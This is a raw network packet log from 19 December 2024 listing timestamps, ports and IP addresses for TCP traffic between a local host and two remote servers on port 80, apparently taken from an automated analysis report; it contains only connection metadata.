Dec 19, 2024 14:10:42.485033989 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.486027002 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.486073971 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.486123085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.486212015 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.487206936 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.487338066 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.487380028 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.487422943 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.488495111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.488548994 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.488581896 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.488704920 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.489588022 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.489692926 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.489694118 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.489753008 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.490772963 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.490825891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.490837097 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.490881920 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.491997957 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.492074013 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.492121935 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.492172003 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.493165970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.493223906 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.493275881 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.493321896 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.494328022 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.494431973 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.494518042 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.495502949 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.495585918 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.495603085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.495661020 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.496673107 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.496730089 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.496875048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.496988058 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.497876883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.497940063 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.498013973 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.498095036 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.499134064 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.499232054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.499289036 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.500451088 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.500503063 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.500590086 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.500663042 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.501619101 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.501672983 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.501693010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.501733065 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.502643108 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.502696037 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.502757072 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.503792048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.503909111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.503946066 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.503982067 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.505009890 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.505075932 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.505095959 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.505182028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.506182909 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.506192923 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.506244898 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.507364988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.507437944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.507491112 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.508517027 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.508569956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.508723021 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.508776903 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.509695053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.509751081 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.509834051 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.509907007 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.510888100 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.510983944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.511033058 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.512067080 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.512132883 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.512181044 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.512223959 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.513240099 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.513289928 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.513406038 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.513461113 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.514488935 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.514539003 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.514592886 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.515707970 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.515722990 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.515768051 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.516832113 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.516841888 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.516880035 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.516908884 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.518007994 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.518017054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.518064022 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.519155025 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.522319078 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.546006918 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.546020985 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.546031952 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.546075106 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.546080112 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.546123981 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:42.546163082 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:42.546216011 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.546289921 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:42.587112904 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.590605021 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:42.649203062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.649297953 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.649365902 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.649827957 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.649890900 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.649926901 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.650037050 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.650993109 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.651204109 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.651273012 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.652359962 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.652420044 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.652441978 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.652472973 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.653450966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.653491020 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.653562069 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.654709101 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.654855013 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.654911995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.655786991 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.655884981 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.655924082 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.656964064 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.657097101 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.657146931 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.658138990 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.658198118 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.658241034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.658283949 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.659323931 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.659367085 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.659416914 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.660639048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.660693884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.660742044 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.661644936 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.661700964 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.661762953 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.661884069 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.662889957 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.662929058 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.662941933 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.662990093 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.664201021 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.664314985 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.664446115 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.665496111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.665549994 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.665589094 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.665616989 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.666656017 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.666665077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.666718006 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.667577982 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.667644978 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.667649984 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.667709112 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.668961048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.669034004 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.669059038 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.669120073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.670449018 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.670485973 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.670619965 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.670670986 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.671941042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.672012091 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.672065020 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.672125101 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.673039913 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.673089027 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.673101902 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.673171043 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.674663067 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.674792051 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.674849987 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.675653934 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.675698042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.675724983 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.675745010 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.676445961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.676527977 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.676543951 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.676592112 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.677486897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.677587032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.677603006 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.677694082 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.678791046 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.678900957 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.678965092 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.679805994 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.679861069 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.679958105 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.680042028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.680995941 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.681075096 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.681165934 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.682137012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.682194948 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.682210922 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.682256937 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.683083057 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.683198929 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.683216095 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.683259010 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.684640884 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.684696913 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.684745073 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.684817076 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.685643911 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.685750961 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.685754061 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.685837030 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.686536074 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.686649084 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.686816931 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.687693119 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.687760115 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.687905073 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.687951088 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.689064980 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.689127922 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.689167023 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.689210892 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.690124989 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.690216064 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.690388918 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.690443993 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.691338062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.691677094 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.691912889 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.692534924 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.692574978 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.692586899 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.692615032 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.693742990 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.693849087 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.694025993 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.694061995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.694884062 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.694972992 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.695018053 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.696295023 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.696307898 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.696362019 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.697228909 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.697355032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.697402000 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.698409081 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.698555946 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.698611021 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.699615955 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.699677944 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.699680090 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.699721098 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.701073885 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.701127052 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.701141119 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.701168060 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.701894045 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.701936960 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.702008009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.702220917 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.703165054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.703233957 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.703341007 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.703341961 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.704261065 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.704353094 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.704402924 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.705466032 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.705517054 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.705576897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.705662012 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.706610918 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.706703901 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.706715107 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.706794977 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.707840919 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.707847118 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.707885981 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.709000111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.709105968 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.709403038 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.710160017 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.710213900 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.710278034 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.710527897 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.710527897 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:42.711354017 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.712512970 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.750962019 CET	80	49846	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:42.751080990 CET	49846	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:42.841674089 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.841737986 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.841861010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.842024088 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.842314005 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.842376947 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.842499018 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.842547894 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.843417883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.843466997 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.843772888 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.843791962 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.843821049 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.843837023 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.844791889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.844840050 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.844846010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.845048904 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.846038103 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.846088886 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.846091986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.846138000 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.847187042 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.847270966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.847337008 CET	49837	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:42.848332882 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.848433971 CET	80	49837	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:42.848483086 CET	49837	80	192.168.2.4	31.41.244.11
